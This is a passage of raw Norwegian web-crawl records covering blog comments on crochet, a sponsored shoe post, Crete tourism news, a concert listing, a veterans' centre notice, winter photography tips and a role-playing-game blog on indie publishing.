bloggen min i det siste, men jeg skal pr\u00f8ve \u00e5 trylle det bort i kveld\\!  \nDer ligger det ogs\u00e5 en utfordring til deg, hvis du vil :)  \n  \nHa en fortsatt aktiv uke, ikke glem \u00e5 pause deg innimellom\\!\n\n 24. mars 2009 kl. 10:59    \n\n\n\n\n\nGryNoKa sa...\n\nHar du virkelig hekla den blonden selv? Fantastiskt\\!  \nHer skal de lags masse vakkert, det blir spennende.  \nHa det s\u00e5 fint\\!  \nKlem Gry : )\n\nTittet litt igjenomm bloggen din i dag.Mye fint der.KL.begynner \u00e5 bli mange, s\u00e5 jeg f\u00e5r finne senga mi.  \nH\u00e5per du ikke har noe imot at jeg linker deg til meg?Jeg har s\u00e5 lett for \u00e5 rote bort n\u00e5r alt blir p\u00e5. sm\u00e5 lapper. \u00d8nsker en god natt og en fin dag i m\u00e5rra.Hilsen fra Eie...\n\n 24. mars 2009 kl. 23:58    \n\n\n\n\n\nAnne-Berit sa...\n\nHei,mye p\u00e5 gang hos deg ser jeg,b\u00e5de opp-pussing og h\u00e5ndarbeide.Blir nok fint begge deler n\u00e5r du f\u00e5r det ferdig.Mye blonder \u00e5 hekle,men det er nok verdt det.Ha en fin dag.\n\n 25. mars 2009 kl. 14:03    \n\n\n\n\n\nNissestien sa...\n\nNydelige stoffer\\! N\u00e5 skal det bli v\u00e5r i stova tenker jeg med nyoppusset stue og lappes\u00f8m som det lukter v\u00e5r av. Skal si du er aktiv\\! Sitter du noen gang i ro og bare gj\u00f8r ingenting?  \nHa en fortsatt god uke\\!\n\n 25. mars 2009 kl. 21:43    \n\n***Ville Gud ha gjort vin s\u00e5 velsmakende, hvis han hadde \u00f8nsket \u00e5 forby den?** *Armand Jean du Plessis de Richelieu  \n\n    \n\n", "language": "no", "__index_level_0__": "fbff4d9d-a568-4e66-9a39-898b469ad620"}
{"url": "http://ericakvam.no/lets-go-nude/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00791.warc.gz", "warc_date": "2018-03-24T23:49:18Z", "text": "# Erica Kvam\n# LET'S GO NUDE\n\n30\\. mai 2017\n\n*annonse i samarbeid med Zalando*\n\n\n\nDere som kjenner meg vet at jeg ELSKER sko. Jeg f\u00e5r aldri nok, og derfor traff **DENNE** Zalando-editorial'en meg midt i hjertet. Denne sesongen lar vi skoene st\u00e5 i fokus, og lar de v\u00e6re det som l\u00f8fter antrekket ti hakk\u00a0\u2665 Begge skoene & kjolen finner dere hos Zalando\\!\u00a0\n\n\n\n*Heels higher than your standards, mehe*\n\n\n\n\n\n*Verdens kuleste nude-rosa skinnboots\\!\\! Supercomfy as well*\n\n\n\n## Kommentarer (4)\n\n    \n    \n    **Marita** sier:\n    \n    30\\. mai 2017, kl. 15:22\n    \n    Kan du vise Antrekkene bake ogs\u00e5? \ud83d\ude42 fine btw\n    \n    \n    \n    **Marge** sier:\n    \n    30\\. mai 2017, kl. 16:55\n    \n    Sminke video? \ud83d\ude42\n    \n    **Anonym** sier:\n    \n    30\\. mai 2017, kl. 17:56\n    \n    G\u00e5r du med h\u00e6ler til vanlig ogs\u00e5 eller bare p\u00e5 byen? Eier ikke et eneste par h\u00f8yh\u00e6ler, f\u00f8ler meg ikke komfortabel i det. Men skulle kanskje hatt et par til fest\u2026\n    \n    **erica mohn kvam** sier:\n    \n    30\\. mai 2017, kl. 22:26\n    \n    Anonym: Nei, bare p\u00e5 byen.. \ud83d\ude42\n    \n", "language": "no", "__index_level_0__": "16c9b32e-baff-479b-aa3d-95af2bcf6d50"}
{"url": "http://audoymyr.blogspot.com/2016/07/julinyheter.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00203.warc.gz", "warc_date": "2018-03-24T23:36:05Z", "text": "## tirsdag 5. juli 2016\n\n### Julinyheter.\n\nByen er full av liv, selv om alle de ortodokse prestene og de amerikanske soldatene har forlatt \u00f8ya. Turister fra fjern og n\u00e6r ankommer daglig. Flyene \u00f8ker utover i juli, men i juni var det 169.017 fly ankomstene i hele juni, var hele 60.484 fra Norge og Sverige\\! Flest fra Norge,  \n\n|                                                                                                                             |\n| :-------------------------------------------------------------------------------------------------------------------------: |\n|  |\n|                                     en norsk turist, Sebastian motas av pappous Jorgos,                                     |\n\n  \n| :---------------------------------------------------------------------------------------------------------------------------------------------------------: |\n|  |\n|                                                              mye folk og liten plass forl\u00f8pig,                                                              |\n\n  \n30.484. Flyplassen er enn\u00e5 ikke ferdig utbygget og tyske Fraport som overtar driften, har lyst ut stillinger og sier at de tar bare greske arbeidere til landets 14 flyplasser som de skal drive.  \nEn av de tingene som irriterer alle er innkasterne nede i havna. Her om kvelden ble tre tavernaeiere arrestert fordi de hadde innkastere\\! Jeg bare nevner dette s\u00e5nn at dere forst\u00e5r hvor stort problem detter er for havna og byen. Men hjelper det? Neppe.  \n\n|                                                                                                                                |\n| ------------------------------------------------------------------------------------------------------------------------------ |\n|  |\n| p\u00e5 denne siden er problemene,                                                                                                  |\n\nEierne som ble l\u00f8slatt, venter rettsak, f\u00e5r en bot, og fortsetter som f\u00f8r. Penger og inntektene styrer livet deres. Det de ikke ser, eller forst\u00e5r, er at de gode restaurantene trenger ikke kaste inn folk. Man leser om stedene, eller h\u00f8rer om dem av andre. De smarteste, tar vare p\u00e5 gjestene s\u00e5 de kommer igjen, lager topp mat, har priser som st\u00e5r i forhold til maten og ikke minst god service\\! Pr\u00f8v \u00e5 unng\u00e5 disse stedene. Det er en \u00e5relang kamp der nede i havna om \u00e5 f\u00e5 en slutt p\u00e5 dette.  \nHvis du bes\u00f8ker havna, pr\u00f8v andre steder, hele gamlebyen er full, pr\u00f8v andre siden av havna, bakgatene og smugene.  \nVi f\u00e5r bes\u00f8k av tre store cruiseskip igjen denne uken. P\u00e5 torsdag kommer norskeide Rapsody of the Seas til Souda for andre gang p\u00e5 f\u00e5 uker, med over 2000 . Etter denne uken, vil tallet p\u00e5 cruiseskip gjester v\u00e6re p\u00e5 55.000 for 2016\\! Hania og havnebyen Souda, har blitt en viktig havn for disse skipene. De fleste kommer inn til byen i busser, og bes\u00f8ker Agora og havna, f\u00f8r de drar tilbake. Noen tar drosjer til strendene.  \n\n|                                                                                                                               |\n| :---------------------------------------------------------------------------------------------------------------------------: |\n|  |\n|                                                 Rapsody of the Seas i Souda,                                                  |\n\nDu vet at det \u00e5 f\u00e5 ett s\u00e5 kalt bl\u00e5tt flagg er en en stor \u00e6re for en strand og kommunen den tilh\u00f8rer. Her i distriktet, har det blitt delt ut 29 bl\u00e5 flagg i 2016. For \u00e5 f\u00e5 dette flagget er det viktigste selvf\u00f8lgelig rent vann, men ogs\u00e5 ren strand, toalett forhold, parkering, osv er viktige elementer. Nea Hora mistet sitt bl\u00e5 flagg i \u00e5r, og m\u00e5 jobbe hardt for \u00e5 f\u00e5 det tilbake\\! Kreta har 102 av 430 bl\u00e5e flagg i hele landet. Vi er jo stolte av renheten p\u00e5 vannet, men mye m\u00e5 gj\u00f8res for at ikke landet blir forurenset av turismen, det sier seg selv.  \n\n|                                                                                                                                                    |\n| :------------------------------------------------------------------------------------------------------------------------------------------------: |\n|  |\n|                                                       bl\u00e5tt flagg i Kastelli, Mavros Molos,                                                        |\n\n\n\n  \nSiste uke ble det sett hval utenfor \u00f8ya Gavdos s\u00f8r for Sfakia. Den ble sett fra en b\u00e5t, og det er noks\u00e5 sjeldent \u00e5 f\u00e5 oppleve dette, selv om det lever en del hvaler i dette farvannet. Her ser du noen et bilde fra Gavdos Cruises.  \n\n\u00a0Her setter kommunen opp scene og stoler hver sommer, og det er teater, dans og konserter helt til oktober. \u00a06. og 11. juli er det en danseforestillinger og nesten hver dag teaterforestillinger. Den 14. juli skal det v\u00e6re en konsert med musikk av Mikis Theodorakis. Det blir mange sangere, og en reise i hans musikk. Han fyller 91 i sommer, og det er en festival Theodorakis p\u00e5 gang her i byen i sommer. Billettprisen er 7 euro for denne konseten i Anatolikos Tafros.  \n\n|                                                                                                                                     |\n| :---------------------------------------------------------------------------------------------------------------------------------: |\n|  |\n|                                                         sangerne i aksjon,                                                          |\n\n  \n\n|                                                                                                                                |\n| :----------------------------------------------------------------------------------------------------------------------------: |\n|  |\n|                                              plakaten til Theodorakis konserten,                                               |\n\nBilletter til alle forestillingene her, kj\u00f8pes fra kommunens egen billettbod utenfor Agora, eller ved inngangen.  \n\n|                                                                                                                                    |\n| :--------------------------------------------------------------------------------------------------------------------------------: |\n|  |\n|                                                     her kan du kj\u00f8pe biletter,                                                     |\n\nDessuten er det konserter i veldig mange landsbyer hele sommeren, f\u00f8lg med\\! Jeg informerer n\u00e5r det er en konsert jeg tror kunne v\u00e6re noe for dere.  \n  \n  \nAud \u00d8ymyr  kl. \n\n15:55           \n\n### Mine turer i 2018\n\n", "language": "no", "__index_level_0__": "dc5898b2-2ac0-4de7-ad00-5677bb7b1c2e"}
{"url": "https://studentersamfundet.no/arrangement/vardogr-tba/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:25:22Z", "text": "# Vard\u00f8gr \u2013 The Falls + WhatTheFiveFingersSaidToTheFace + Oberst\n\nJostein Skaret 2016-01-12T12:09:51+00:00 2016-05-04T22:11:41+00:00 Konsert Vard\u00f8gr\n\n torsdag  \n5\\.  \nmai  \n\n\n  \nVard\u00f8gr \u2013 Gir deg yndlingsbanda du ikke visste du hadde. \u00a0F\u00f8rste torsdag i m\u00e5neden.\n\nVard\u00f8gr presenterer femte mai litt av en variert coctail: Fra Drammen kommer metal/mathcore-bandet The Falls, og de har med seg Oslobanda Oberst og WhatTheFiveFingersSaidToTheFace.\n\nForvent et sjangerspenn som strekker seg fra death, math og postmetal, til postrock, p\u00f8nk og scandicore. Kom og f\u00e5 en enegiinnspr\u00f8ytning som garantert kicker i gang Oslosommern\\!\n\nhttps://www.facebook.com/whatthefivenfingerssaidtotheface/  \nhttps://www.facebook.com/oberstoberst  \nhttps://www.facebook.com/thefalls.band\n\n100 spenn i d\u00f8rra\\!\n\n*Nyhetsbrevet inneholder kommende arrangementer.*\n\nStudentene i Oslo har sitt naturlige tilholdssted p\u00e5 Det Norske Studentersamfund, i hyggelige lokaler p\u00e5 Chateau Neuf \u00f8verst p\u00e5 Majorstuen. Her er det \u00e5pent alle dager unntatt s\u00f8ndag, og enten man \u00f8nsker en tur i baren, p\u00e5 kaf\u00e9, p\u00e5 debatt, p\u00e5 konsert, teater eller kino, har man muligheten p\u00e5 Det Norske Studentersamfund.\n\n", "language": "no", "__index_level_0__": "838fcfc4-33fc-49f3-8ef3-04665ec4af51"}
{"url": "http://siops.no/nyhetsarkiv/2016/438-velkommen-til-siops-info-og-ressurssenter-i-host", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:16:44Z", "text": "## Velkommen til SIOPS' Info- og Ressurssenter i h\u00f8st\\!\n    Publisert fredag 02. september 2016 16:28\n    Skrevet av Gisle Bruknapp\n\n\n\nSommeren er p\u00e5 hell og vi i Veteranforbundet SIOPS har nettopp avsluttet v\u00e5rt st\u00f8rste prosjekt noensinne, Veteranseilas 2016- sammen for skadde veteraner. Hverdagen har kommet tilbake og vi vil sv\u00e6rt gjerne at du kommer en tur innom SIOPS' Info- og Ressurssenter i Kongens gate 3. Du beh\u00f8ver ikke ha noen avtale. Uansett om du \u00f8nsker r\u00e5dgivning fra en v\u00e5re r\u00e5dgivere eller bare ta en kaffe, s\u00e5 er du hjertelig velkommen\\!\n\nP\u00e5 SIOPS' Info- og Ressurssenter kan v\u00e5re r\u00e5dgivere tilby r\u00e5d og veiledning innen helse, arbeid, juss og aktiviteter. Dersom du er i omr\u00e5det og bare har lyst \u00e5 stikke innom for en uformell prat setter vi ogs\u00e5 stor pris p\u00e5 det.\n\nI l\u00f8pet av h\u00f8sten har vi planlagt flere ulike arrangementer og aktiviteter i SIOPS' Info- og Ressurssenter. Informasjon om disse vil bli publisert p\u00e5 nettsiden og p\u00e5 v\u00e5r Facebook-side.\n\nVel m\u00f8tt\u00a0i Kongens gate 3 hos SIOPS' Info- Ressurssenter\\! \u00a0\u00a0\n\n", "language": "no", "__index_level_0__": "002528a7-9a6d-4ae4-b8fa-b17275f25c06"}
{"url": "https://blogg.japanphoto.no/cewe-fotobok/enkle-tips-til-vinterfotografering/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-24T23:38:00Z", "text": "# Enkle tips til vinterfotografering\\!\n\n\n\nDet er tid for vinterferie og moro i sn\u00f8en. Store deler av Norge er n\u00e5 dekket med sn\u00f8. Noen synes den er irriterende, men de fleste er vel enige om at sn\u00f8landskapet er vakkert\\! Ta med kameraet ut og lek deg med motiver i det nydelige vinterlyset.\n\nHer kommer 6 tips til hvordan du tar flotte bilder i vinterlandskap:\n\n\u2744\u00a0N\u00e5r det er kaldt ute g\u00e5r det hardt utover batterikapasitet p\u00e5 kamera og mobil. Ta med ekstra batteri og oppbevar det tett til kroppen, slik holder det varmen og varer lenger. Mobilen kan v\u00e6re lurt \u00e5 pakke inn i for eksempel en ullsokk med plast over. Med disse forholdsreglene kan du knipse i vei og kose deg med fotograferingen lenger.\n\n\n\n\u2744\u00a0N\u00e5r sn\u00f8en ligger der s\u00e5 hvit og vakker, blir den dessverre ofte gr\u00e5 p\u00e5 bildene.\u00a0 Om du overeksponderer litt manuelt p\u00e5 kameraet, s\u00f8rger du for at sn\u00f8en ser hvit og lekker ut ogs\u00e5 p\u00e5 bildene.\n\n\u00a0\n\n\n\u00a0\n\u2744\u00a0Hvorfor ta bare et bilde n\u00e5r du kan ta mange? Har du et fint motiv, s\u00e5 knips i vei. Bruk kroppen. G\u00e5 ned p\u00e5 kne, eller opp p\u00e5 en bakketopp. G\u00e5 rundt motivet og varier vinkelen p\u00e5 bildet. Finn punktet der lyset blir best. Til slutt har du det perfekte bildet\\!\n\n\u00a0\n\n\n\u2744\u00a0Ikke glem de sm\u00e5 vakre detaljene. I sn\u00f8landskapet finnes det s\u00e5 mye vakkert. Bruk \u00f8ynene gjennom linsen og forevige dem.\n\n\n\n\u2744\u00a0Barn i lek er et bedre motiv enn oppstilte bilder. Fang de fine \u00f8yeblikkene med litt 'smug' fotografering.\n\nN\u00e5r du kommer hjem med alle bildene, husk \u00e5 ta vare p\u00e5 dem for fremtiden. Sett sammen bilder tatt av mennesker, detaljer og natur og lag en CEWE FOTOBOK. Da kan du enkelt se bildene igjen og igjen. Det beste bildet fortjener en plass p\u00e5 veggen i stort format. Det gir deg glede lenge\\!\n\n", "language": "no", "__index_level_0__": "ea13e57a-72cc-4992-b07a-10eeb1149e14"}
{"url": "https://rollespillogverden.wordpress.com/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:41:49Z", "text": "\n\n## Uavhengige bokutgivelser\n\nPosted on februar 10, 2010 | 1 kommentar\n\nI disse dager g\u00e5r det en del debatter om avisenes d\u00f8d, plateselskapenes d\u00f8d, forlagenes d\u00f8d og s\u00e5 videre. Felles for dem alle er vel en slags forst\u00e5else av at ny teknologi og nye bruksm\u00f8nstre ikke er noe man kan ignorere \u2013 noen f\u00e5 kan kanskje fortsette p\u00e5 gamlem\u00e5ten, men stort sett er det nok \u00e5 tilpasse seg eller d\u00f8. Det snakkes om nye \u2013 eller \u00abnye\u00bb \u2013 forretningsmodeller hvor kulturprodusenten (artisten, forfatteren, bloggeren) kommuniserer og selger direkte til forbrukeren, uten mellomledd.\n\nRollespill er, s\u00e5vidt jeg vet, ganske unikt innenfor dette feltet \u2013 i og med at det var slik det startet, slik det fortsatte, og slik det er n\u00e5.\n\n**Kjapp rollespillforlagshistorie**\n\nDe f\u00f8rste rollespillene var i praksis fanziner: Sm\u00e5 hefter lagd for folk som allerede var interessert i denslags ting. En utenforst\u00e5ende som plukket opp Chainmail eller Blackmoor eller Dungeons & Dragons ville nok ikke f\u00e5 mye ut av det. Heftene var s\u00e5 \u00abindie\u00bb som det kan bli: Den som fant opp spillet, m\u00e5tte ogs\u00e5 v\u00e6rs\u00e5god skrive det ned og publisere det selv. Redakt\u00f8rer? Markedsf\u00f8ringsavdeling? Hah\\! \u00abLagerplass\u00bb betydde \u00abkjellerbod\u00bb eller \u00abgarasje\u00bb.\n\nSlik var det i mange \u00e5r. Selv de som ble regnet som \u00abstore spillforlag\u00bb var i praksis en fyr (ja, det var menn, s\u00e5 godt som alle sammen) med stort ego og nok fritid. Kanskje han hadde en kompis eller to som var \u00abansatt i bedriften\u00bb \u2013 det vil si, som fikk billige spill og pizza-penger, vil jeg tro. Unntaket var nok forlaget TSR, som utga *Dungeons & Dragons*; kombinasjonen av \u00e5 v\u00e6re tidlig ute med den nye spillformen, og eier Gary Gygax' kremmerinstinkter, gjorde at forlaget faktisk ble ganske s\u00e5 stort.\n\nMen TSR var alltid i turbulens. Historien f\u00e5r v\u00e6re for de spesielt interesserte \u2013 men tilslutt ble de kj\u00f8pt opp av Wizards of the Coast (som lagde *Magic*\u2013 og *Pokemon*-kortspillene), som igjen ble kj\u00f8pt opp av Hasbro. Et bittelite fnugg blant verdens virkelig store selskaper, med andre ord.\n\nMen likevel finnes det mange som ser p\u00e5 gamle TSRs flaggskip *Dungeons & Dragons* som mainstream \u2013 hovedstr\u00f8mmen som man kan skape alternativer til. Og det er det siste ti\u00e5ret som virkelig har vist hvordan ting *kan* v\u00e6re.\n\n**2000-tallet \u2013 mulig l\u00e6rdom for andre bransjer?**\n\nSom sagt: Alle rollespillforlag \u2013 med f\u00e5 unntak \u2013 har v\u00e6rt uavhengige og sm\u00e5 bedrifter, lagd for \u00e5 utgi eiernes egne b\u00f8ker. Men mot slutten av nittitallet skjedde to ting: Internettet og Ron Edwards.\n\nRon Edwards er hovedmannen bak nettstedet The Forge, hvor det ble skapt et utrolig fruktbart milj\u00f8 tidlig dette ti\u00e5ret. Folk kom inn som nysgjerrige spillentusiaster og ble spyttet ut som indie-utgivere: Folk med egne titler og egne forlag. Jeg vil tro det har kommet et hundretall utgivere ut av The Forge i l\u00f8pet av dette ti\u00e5ret.\n\nOg hvordan utgir de? P\u00e5 hver sin j\\*\\*\\*a m\u00e5te, for de er jo uavhengige\\! Noen g\u00e5r gamleveien, trykker opp en haug b\u00f8ker og lar dem ligge i garasjen; selger p\u00e5 kongresser og festivaler, til venner og kjente, litt over postordre. Men de to vanligste utgivelsesmodellene er POD (print on demand) og\u2026 gratis.\n\nPOD-utgivelser er en veldig enkel modell. Alt som kreves, er at man lager spillet sitt i PDF-format; da kan man laste det opp til en av flere POD-firmaer (lulu.com er det mest popul\u00e6re) som tar seg av alt. De tar imot bestillinger, trykker boken, viser produktet p\u00e5 sine nettsider; du kan til og med sette opp din egen nettbutikk under lulus beskyttende paraply. Det er besn\u00e6rende enkelt, og spillfloraen er enorm og vidunderlig variert: B\u00e5de genre og former sprenges rutinemessig, og det finnes ikke den ting det ikke er lagd rollespill av.\n\nGratisutgivelser har blitt en egen filosofi for mange. Det er like mange grunner som gratisutgivere; noen \u00f8nsker bare friheten til \u00e5 gj\u00f8re hva de vil med spillene sine n\u00e5r de vil, som f. eks. \u00e5 lage syv nye versjoner p\u00e5 en m\u00e5ned, eller fjerne dem fra nettet uten varsel, og det blir mer komplisert hvis man har betalende. Andre ser p\u00e5 det som sitt bidrag til rollespillmilj\u00f8et. Andre igjen (som undertegnede) gidder ikke alt styret med \u00f8konomistyring og kundeforhold \u2013 m\u00e5let er at spillene blir spilt, ikke at man sitter igjen med noen ekstra hundrelapper etter mange timers merarbeid.\n\nHva er \u00abstandard\u00bb for rollespillutgivelser i dag? Det er vanskelig \u00e5 si. Ser man p\u00e5 markedslederne (utgiverne av *Dungeons & Dragons*), gj\u00f8r de alt p\u00e5 gamlem\u00e5ten: Redaksjon, markedsavdeling, \u00f8konomer, lagre fulle av b\u00f8ker, osv osv osv. Men hvem er det flest av? Jeg vil tro det er de sm\u00e5 og uavhengige.\n\n**Fordeler og ulemper med uavhengige utgivelser**\n\nUlempene f\u00f8rst, for de er tydelige.\n\n1\\. Kunden vet aldri om produktet er fullstendig og ferdigstilt. Det finnes h\u00f8yt verdsatte spill i min hylle som jeg har bannet og steiket over, fordi reglene er elendig forklart, mangelfulle og tvetydige. \u00abSkaff deg en redakt\u00f8r\\!\u00bb har jeg mange ganger tenkt n\u00e5r jeg har lest hva disse spillforfatterne har kludret ned. Og noen f\u00e5 ganger viser det seg at spillet ikke er mulig \u00e5 spille uten \u00e5 kontakte spillskaperen/utgiveren for mer informasjon. I et slikt marked er det klart at mange blir skeptiske.\n\n2\\. Det er s\u00e5 mange spill der ute at ingen har oversikten. Og s\u00e5 lenge utgiverne ikke vil/kan/gidder markedsf\u00f8re spillene sine, er det fullstendig garantert at noen av de beste perlene ikke n\u00e5r fram til flere enn en h\u00e5ndfull. (Og vi snakker en liten h\u00e5ndfull \u2013 et spill som selger 1000 eksemplarer regnes som en indie-suksess). Det er vanskelig \u00e5 n\u00e5 fram og gj\u00f8re produktet sitt kjent.\n\n3\\. Ingen blir noengang rike av \u00e5 lage uavhengige rollespill. Markedet, selv p\u00e5 verdensbasis, er for lite; det er mange om beinet; og \u2013 ikke minst \u2013 utgiverne er ikke kyniske og businessminded nok til \u00e5 lage ting folk m\u00e5 kj\u00f8pe mange ganger. En rollespillbok gir deg alt du og vennene dine trenger for mange kvelders moro; du trenger ikke mer. Med mindre man lager spinoff-produkter eller bruker andre lure triks (mange utgaver av samme spill, feks) blir det lite cash i kassa.\n\nMen hva er fordelene?\n\n1\\. Fullstendig kontroll. Som utgiver av ditt eget spill *vet* du at ingen kommer til \u00e5 overstyre deg. Ingen sier \u00abvi venter med utgivelsen til neste \u00e5r\u00bb, \u00abvi har bestemt oss for \u00e5 ha Colargol p\u00e5 forsiden av boka di\u00bb, eller \u00abdu m\u00e5 skrive mer tilgjengelig\u00bb. Du kan gj\u00f8re hva du vil.\n\n2\\. N\u00e6rmere forhold mellom skaper og forbruker. Dette er et bi-resultat av at folk utgir p\u00e5 nett; men n\u00e5r du vet at a) den som st\u00e5r bak boka du har kj\u00f8pt, er en enkeltperson med samme entusiastiske utgangspunkt som du selv (ikke et stort forlag med navnl\u00f8se avdelingsledere), og b) de er tilgjengelige p\u00e5 internett, er det fort gjort \u00e5 sende dem en mail \u2013 eller kontakte dem p\u00e5 et nettforum \u2013 for \u00e5 sl\u00e5 av en prat om spillet.\n\n3\\. Hurtig utvikling. P\u00e5 den tiden det tar et stort forlag \u00e5 skrive, utvikle, teste, redigere, designe, markedsf\u00f8re, trykke og distribuere et nytt produkt, har indie-utgiverne laget hundre nye spill. Bokstavelig talt. Det er umulig for et stort forlag i konkurranse med en sverm hyperaktive spillskapere \u00e5 v\u00e6re i front. Faktisk tyder alt p\u00e5 at store utgivere tar med seg id\u00e9er fra indie-utgiverne i sine nye produkter (rollespillet *Warhammer* kom f. eks. nettopp i 3. utgave, og spillskaperen bak det har fortalt han er sterkt inspirert av flere av titlene fra Forge-milj\u00f8et).\n\n4\\. Punk. N\u00e5r alle *kan* gj\u00f8re det, er terskelen veldig lav for \u00e5 gj\u00f8re det. Du vet at halvparten av disse folkene som har trykket p\u00e5 \u00absend\u00bb-knappen til Lulu ikke har mere peiling p\u00e5 ting enn du har selv \u2013 s\u00e5 hvorfor ikke laste opp noe til utgivelse, du ogs\u00e5? Man har ikke respekt for andre bare fordi de har utgitt noe; respekten m\u00e5 fortjenes p\u00e5 grunnlag av innhold, av stemme, av det de faktisk *gj\u00f8r*. Ingen blir revet ned fortere av et samlet internett enn en pretensi\u00f8s spillforfatter.\n\n5\\. Alle penga rett i lomma umiddelbart. Regnestykket er ganske enkelt: Se for deg at du etter mye om og men faktisk f\u00e5r en bok utgitt av et stort spillforlag. Kanskje selger de 2000 eksemplarer. Du f\u00e5r 10% av salgsprisen, etter et par \u00e5r. I stedet for kan du selge spillet selv; selger du flere enn 200 eksemplarer p\u00e5 egen h\u00e5nd, har du allerede tjent det du *kanskje* ville f\u00e5tt om noen \u00e5r fra det store forlaget. N\u00e5r en kunde kj\u00f8per ett av spillene dine p\u00e5 f. eks. Lulu, er pengene p\u00e5 kontoen din \u2013 ikke hos forlagets regnskapsf\u00f8rere.\n\n**Har dette noen relevans for bokbransjen?**\n\nDet f\u00e5r jo selvsagt tiden vise \u2013 men det er klart at denne typen utgivelser kan v\u00e6re veldig interessante for i hvert fall tre kategorier forfattere.\n\n1\\) De sv\u00e6re, som allerede er kjente navn og ikke trenger \u00e5 sl\u00e5ss for at kundene skal h\u00f8re om dem. Skulle Frid Ingulstad bestemme seg for \u00e5 selge b\u00f8kene sine som abonnement p\u00e5 nettet, kunne hun nok satt seg enda mer makelig tilbake og latt pengene rulle inn. (Eller kanskje ikke akkurat hun, da \u2013 avisene gidder jo ikke skrive om stakkars Frid i noen s\u00e6rlig grad.)\n\n2\\) De s\u00e6re, som har sine tekst-eksperimenter, alternative filosofier, hybridprodukter og annet som forlag ikke n\u00f8dvendigvis \u00f8nsker \u00e5 satse hardt p\u00e5 (eller i det hele tatt).\n\n3\\) Og sist, men viktigst: De som ser p\u00e5 forfatteryrket som et *yrke*. De som er fullt villige til \u00e5 markedsf\u00f8re seg selv og sine b\u00f8ker, til \u00e5 holde rede p\u00e5 penger som kommer inn og g\u00e5r ut, som kanskje vil leie inn en redakt\u00f8r og en omslagsdesigner for \u00e5 s\u00f8rge for at produktet blir markedsvennlig. Hvis man vil jobbe fulltid med \u00e5 ikke bare lage, men *selge* sine egne b\u00f8ker, vil uavhengig utgivelse kunne fungere veldig bra.\n## Kreditering av spillskapere \u2013 eller: Porno er mer verd enn\u00a0spill\n\nPosted on november 25, 2009 | 3 kommentarer\n\nDet \u00e5 lage spill er spennende og utfordrende. Det er en lang, kreativ prosess som krever at man tenker p\u00e5 mange niv\u00e5er samtidig. Det kan ta flere \u00e5r \u00e5 utvikle et godt spill. Spillskaperen tenker over det, dr\u00f8mmer om det, diskuterer det med venner og kjente til de blir drittlei hele prosjektet. Spillet legges p\u00e5 is, modner i spillskaperens hode inntil en plutselig innskytelse gir ny inspirasjon. Framdrift f\u00f8lges av frustrasjon. Motgang bel\u00f8nnes med at spillet blir enda bedre. Et spill er et \u00e5ndsverk.\n\nMen det er ikke et *ordentlig \u00e5ndsverk*. Jeg mener, det er ikke noe man trenger \u00e5 ha *navnet sitt* p\u00e5.\n\nDette er praksisen i norske og internasjonale forlag. En spillmaker krediteres sjelden p\u00e5 forsiden av esken. Kun de som er spesielt interesserte vet hvem som har laget det du kj\u00f8per i butikken. Hvorfor er det slik, n\u00e5r selv den elendigste smusslitteratur har et forfatternavn (eller psevdonym) p\u00e5 forsiden? Pornografer fortjener \u00e5 f\u00e5 navnet sitt kjent, men ikke spillskapere.\n\nDet mest oppsiktsvekkende skjer n\u00e5r det er snakk om \u00e5 lage spill basert p\u00e5 b\u00f8ker, eller omvendt. Et spill basert p\u00e5 en bok, som f. eks. det norske \u00abPhenomena\u00bb, vil ha romanforfatterens navn p\u00e5 forsiden. De som ikke vet bedre, vil tro Ruben Eliassen har laget spillet \u2013 selv om det vitterlig er Kristian Roald Amundsen \u00d8stby som har brukt tid og krefter p\u00e5 det.\n\n\n\nEt spill basert p\u00e5 \"Phenomena\"-lisensen\n\nMan kunne kanskje forsvart dette ved \u00e5 si at det er lisenseieren, skaperen av b\u00f8kenes og spillets univers, som skal f\u00e5 det meste av \u00e6ren. Men n\u00e5r saken er omvendt, som f. eks. i b\u00f8kene basert p\u00e5 den popul\u00e6re spillserien \u00abWarhammer\u00bb, ser vi *igjen* at romanforfatternes navn er p\u00e5 forsiden.\n\n\n\nEn roman basert p\u00e5 \"Warhammer\"-lisensen\n\nDette er ikke riktig. Det er en underkjennelse av spillskaperens kreative arbeid. Og det er p\u00e5 tide vi slutter med det.\n\n**Jeg etterlyser to ting:**\n\n1\\. Klare retningslinjer fra forlag som anerkjenner spillskapernes status som skapere av \u00e5ndsverk.\n\n2\\. En tydelig, samlet holdning fra spillskapere om at vi \u00f8nsker \u00e5 krediteres ordentlig.\n\n## Velkommen etter, datatryner.\n\nPosted on september 11, 2009 | 17 kommentarer\n\nDet hender rett som det er at jeg tar en titt inn i andre verdensbobler enn min egen. En av disse er dataspill-teori. Jeg leser om ludologi vs. narratologi, om Chris Crawfords revolusjon\u00e6re id\u00e9er om narrativ i dataspill, om dataspill som tar opp de store, ubesvarbare, eksistensielle sp\u00f8rsm\u00e5l\u2026\n\nOg jeg tenker \u00abvelkommen etter, datatryner\u00bb. Det \u00e5 lese om dataspillskapernes haltende fors\u00f8k p\u00e5 \u00e5 skape interaktive, personlig gripende, uforutsigbare fortellinger er som \u00e5 sitte p\u00e5 hesteryggen og se p\u00e5 noen som pr\u00f8ver \u00e5 f\u00e5 en stol til \u00e5 l\u00f8pe. Vi gj\u00f8r disse tingene allerede. Vi har gjort dem i snart femogtredve \u00e5r.\n\nEksistensielle sp\u00f8rsm\u00e5l? Pr\u00f8v ut f. eks. Death's Door, hvor man spiller roller som vet de snart skal d\u00f8; eller The Father, n\u00e6rmest en rorschach-test om dysfunksjonelle familier og deres morderiske impulser. Etiske og moralske problemstillinger? Dogs in the Vineyard, hvor man spiller unge mormoner i ville vesten som l\u00f8ser problemer med Herrens lov, eller Sorcerer \u2013 som gir rollene enorm makt gjennom demoner de (nesten) kontrollerer, og 